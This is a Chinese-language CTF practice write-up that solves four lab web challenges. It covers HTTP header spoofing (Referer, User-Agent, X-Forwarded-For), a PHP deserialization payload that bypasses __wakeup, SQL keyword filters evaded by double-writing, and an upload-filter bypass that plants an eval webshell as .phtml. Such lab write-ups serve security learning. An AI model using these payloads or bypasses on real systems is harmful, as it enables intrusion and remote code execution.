刷题2

[极客大挑战 2019]Http 1 这关用burp改一改就能出flag 右键看源码发现别的页面 提示访问来源不对 那就改一下referer头来伪造那边提示的那个网页
然后还得改一下用什么浏览器访问的 Syclover这个浏览器
然后又要求要本地那就再添加一段X-Forwarded-For 127.0.0.1 就可以拿到flag

[极客大挑战 2019]PHP 1 这关扫一扫发现有个叫www.zip 访问后下载下来一个zip解压可以看到 class.php flag.php(当然这个打开啥都没有) 剩下一些无关紧要的
class是个序列化操作
class Name{
private $username = ‘nonono’;
private $password = ‘yesyes’;

public function __construct($username,$password){
    $this->username = $username;
    $this->password = $password;
}

function __wakeup(){
    $this->username = 'guest';
}

function __destruct(){
    if ($this->password != 100) {
        echo "</br>NO!!!hacker!!!</br>";
        echo "You name is: ";
        echo $this->username;echo "</br>";
        echo "You password is: ";
        echo $this->password;echo "</br>";
        die();
    }
    if ($this->username === 'admin') {
        global $flag;
        echo $flag;
    }else{
        echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
        die();


​ }
​ }
}
?>

一个叫做name 然后里头又有七七八八的 但是如果是username=admin ;password=100 可以访问 那么搞一个反序列化的操作
首先要知道username=admin ;password=100 生成的序列是什么
构造

username = $username; $this->password = $password; } } $a = new Name('admin', 100); var_dump(serialize($a)); ?>

然后浏览器解析一下得到 O:4:”Name”:2:{s:14:”Nameusername”;s:5:”admin”;s:14:”Namepassword”;i:100;}
但是反序列化会执行_wakeup()这个函数 那么就得再次跳过这个
O:4:”Name”:3:{s:14:”Nameusername”;s:5:”admin”;s:14:”Namepassword”;i:100;}在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行
private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上0的前缀。字符串长度也包括所加前缀的长度
O:4:”Name”:3:{s:14:”%00Name%00username”;s:5:”admin”;s:14:”%00Name%00password”;i:100;}
然后配合一开始zip里面的index 构造?select=O:4:”Name”:3:{s:14:”%00Name%00username”;s:5:”admin”;s:14:”%00Name%00password”;i:100;} 成功

[极客大挑战 2019]BabySQL 1 这关 过滤了组合拳的诸多 union select or and from where 这几个词都被过滤双写绕过
union->ununionion select->selselectect or->oorr from->frofromm where->whewhereere 就是一套组合拳就可以了
ACTF2020 新生赛]Upload 1 发现网页前端就有checkfile的那个玩意 用火狐浏览器直接删掉那段话 然后就上传eval 后门了 但是还得绕 php不过得改成phtml就可以了 然后连接 ok